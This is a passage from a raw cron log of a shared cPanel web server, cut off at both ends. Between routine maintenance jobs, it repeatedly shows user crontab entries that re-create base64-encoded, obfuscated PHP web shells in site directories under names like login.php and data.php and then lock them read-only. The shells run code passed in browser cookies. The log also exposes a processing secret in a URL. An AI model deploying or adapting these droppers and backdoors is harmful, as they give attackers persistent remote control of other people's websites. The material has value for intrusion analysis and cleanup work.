KICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:28:01 medusa CROND[20910]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:28:01 medusa CROND[20912]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:28:01 medusa CROND[20913]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:29:01 medusa CROND[13148]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 08:29:01 medusa CROND[13171]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:29:01 medusa CROND[13172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:29:01 medusa CROND[13173]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:29:01 medusa CROND[13174]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:29:01 medusa CROND[13175]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 08:29:01 medusa CROND[13176]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:29:01 medusa CROND[13179]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:29:01 medusa CROND[13178]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:29:01 medusa CROND[13182]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:29:01 medusa CROND[13183]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:29:01 medusa CROND[13191]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:29:01 medusa CROND[13180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:30:02 medusa CROND[5871]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:30:02 medusa CROND[5872]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 08:30:02 medusa CROND[5873]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Apr 19 08:30:02 medusa CROND[5874]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:30:02 medusa CROND[5875]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 08:30:02 medusa CROND[5876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:30:02 medusa CROND[5878]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:30:02 medusa CROND[5881]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 08:30:02 medusa CROND[5882]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 08:30:02 medusa CROND[5877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:30:02 medusa CROND[5888]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 19 08:30:02 medusa CROND[5890]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:30:02 medusa CROND[5884]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:30:02 medusa CROND[5891]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 08:30:02 medusa CROND[5901]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:30:02 medusa CROND[5902]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:30:02 medusa CROND[5904]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 08:30:02 medusa CROND[5892]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 08:30:02 medusa CROND[5906]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:30:02 medusa CROND[5887]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 08:30:02 medusa CROND[5897]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 08:30:02 medusa CROND[5913]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4